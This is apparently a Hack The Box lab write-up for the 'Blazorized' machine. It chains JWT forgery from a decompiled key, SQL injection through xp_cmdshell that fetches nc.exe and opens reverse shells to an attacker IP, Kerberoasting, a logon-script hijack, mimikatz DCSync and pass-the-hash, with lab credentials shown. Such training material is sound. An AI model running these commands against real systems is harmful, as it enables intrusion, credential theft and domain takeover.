Blazorized HTB
by kpax
Initial Access
Scan for vhosts
gobuster vhost -u http://blazorized.htb -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
There are two vhosts as well as the main website
- api.blazorized.htb
- admin.blazorized.htb
Main website loads lots of DLLs. Download the Blazorized.Helpers.dll dll
curl http://blazorized.htb/_framework/Blazorized.Helpers.dll -o Blazorized.Helpers.dll
Read it with ILSpy and you will find the following
private static SigningCredentials GetSigningCredentials()
{
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_001e: Expected O, but got Unknown
//IL_0019: Unknown result type (might be due to invalid IL or missing references)
//IL_001f: Expected O, but got Unknown
try
{
return new SigningCredentials((SecurityKey)new SymmetricSecurityKey(Encoding.get_UTF8().GetBytes(jwtSymmetricSecurityKey)), "HS512");
}
catch (System.Exception)
{
throw;
}
}
public static string GenerateSuperAdminJWT(long expirationDurationInSeconds = 60L)
{
string result;
try
{
List<Claim> list = new List<Claim>
{
new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", JWT.superAdminEmailClaimValue),
new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.superAdminRoleClaimValue)
};
string text = JWT.issuer;
string text2 = JWT.adminDashboardAudience;
IEnumerable<Claim> enumerable = list;
SigningCredentials signingCredentials = JWT.GetSigningCredentials();
DateTime? dateTime = new DateTime?(DateTime.UtcNow.AddSeconds((double)expirationDurationInSeconds));
JwtSecurityToken jwtSecurityToken = new JwtSecurityToken(text, text2, enumerable, null, dateTime, signingCredentials);
result = new JwtSecurityTokenHandler().WriteToken(jwtSecurityToken);
}
catch (Exception)
{
throw;
}
return result;
}
// Token: 0x04000005 RID: 5
private const long EXPIRATION_DURATION_IN_SECONDS = 60L;
// Token: 0x04000006 RID: 6
private static readonly string jwtSymmetricSecurityKey = "8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a";
// Token: 0x04000007 RID: 7
private static readonly string superAdminEmailClaimValue = "superadmin@blazorized.htb";
// Token: 0x04000008 RID: 8
private static readonly string postsPermissionsClaimValue = "Posts_Get_All";
// Token: 0x04000009 RID: 9
private static readonly string categoriesPermissionsClaimValue = "Categories_Get_All";
// Token: 0x0400000A RID: 10
private static readonly string superAdminRoleClaimValue = "Super_Admin";
// Token: 0x0400000B RID: 11
private static readonly string issuer = "http://api.blazorized.htb";
// Token: 0x0400000C RID: 12
private static readonly string apiAudience = "http://api.blazorized.htb";
// Token: 0x0400000D RID: 13
private static readonly string adminDashboardAudience = "http://admin.blazorized.htb";
Using this info you can use cyber chef to sign a the jwt with the following content

{"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress":"superadmin@blazorized.htb","http://schemas.microsoft.com/ws/2008/06/identity/claims/role":["Super_Admin"],"exp":1819923739,"iss":"http://api.blazorized.htb","aud":"http://admin.blazorized.htb"}
Add the generated JWT to a jwt key in the LocalStorage of the browser to bypass auth.
The Check duplicate posts entry has a sql injection in it that can run commands

Copy nc.exe to the box and use it to get a reverse shell
' EXEC xp_cmdshell "echo IWR http://10.10.14.2:8000/nc.exe -OutFile %TEMP%\nc.exe | powershell -noprofile" --
' EXEC xp_cmdshell "%TEMP%\nc.exe 10.10.14.2 9001 -e powershell" --
Shell as NU_1055
Setup a psdrive and copy powerview to the box
$SecPassword = ConvertTo-SecureString 'test' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('WORKGROUP\test', $SecPassword)
new-psdrive -name "myfiles" -psprovider "filesystem" -root "\\10.10.14.2\test" -Credential $Cred
cd c:\programdata
copy myfiles:PowerView.ps1 .
. .\PowerView.ps1
Bloodhound shows that we can Write-SPN on user RSA-1066 that lets us dump the hash of the password. The has doesn’t copy well. It should all be on one line.
Set-DomainObject -Identity RSA_4810 -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
Get-DomainUser -Identity RSA_4810 | Get-DomainSPNTicket

Crack the hash to get
RSA_4810:(Ni7856Do9854Ki05Ng0005 #)
Shell as RSA_4810
This user is able to write to the script-path of the User SSA_6010
# impacket
pywerview get-objectacl --name 'SSA_6010' -w blazorized.htb -t 10.129.231.70 -u 'RSA_4810' -p '(Ni7856Do9854Ki05Ng0005 #)' --resolve-sids --resolve-guids --json | jq '.results | map(select(.securityidentifier | contains("RSA_4810")))'
## Powerview version if no creds
Get-ObjectAcl -SamAccountName SSA_6010 -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "WriteProperty"}

Login using Evil-Winrm
Script-Path is relative to the NETLOGON share and the default location of the NETLOGON share is C:\windows\sysvol\sysvol\blazorized.htb\scripts
We have access to write into the following directory C:\windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23
# Check for write access
gci -Path . | % { $p=$_.FullName; $a=Get-Acl -Path $p; $a.Access | ? { $_.IdentityReference.Value.toString() -eq "$env:USERDOMAIN\$env:USERNAME" -and $_.FileSystemRights -band [System.Security.AccessControl.FileSystemRights]::Write } | % { "$($p): Write access allowed" }
Create a bat file with the following contents use nc to get a rev shell and copy it to C:\windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23\rev.bat
echo IWR http://10.10.14.2:8000/nc.exe -OutFile %TEMP%\nc.exe | powershell -noprofile
%TEMP%\nc.exe 10.10.14.2 9001 -e powershell
Then set the scriptpath and wait for the rev shell (ScriptPath is relative to NETLOGON share)
# BloodyAD
bloodyAD --host 10.129.231.70 -d "blazorized.htb" -u "RSA_4810" -p '(Ni7856Do9854Ki05Ng0005 #)' set object SSA_6010 scriptPath -v 'A32FF3AEAA23/rev.bat'
# Powerview Version
set-domainobject SSA_6010 -Set @{'scriptpath'='A32FF3AEAA23\rev.bat'} -Verbose
SSA_6010 is able to DCSYNC, so use mimikatz to dump the Administrator Hashes
mimikatz # lsadump::dcsync /domain:blazorized.htb /user:Administrator
Then psexec in using the hash
psexec.py -hashes :f55ed1465179ba374ec1cad05b34a5f3 Administrator@10.129.230.126 cmd.exe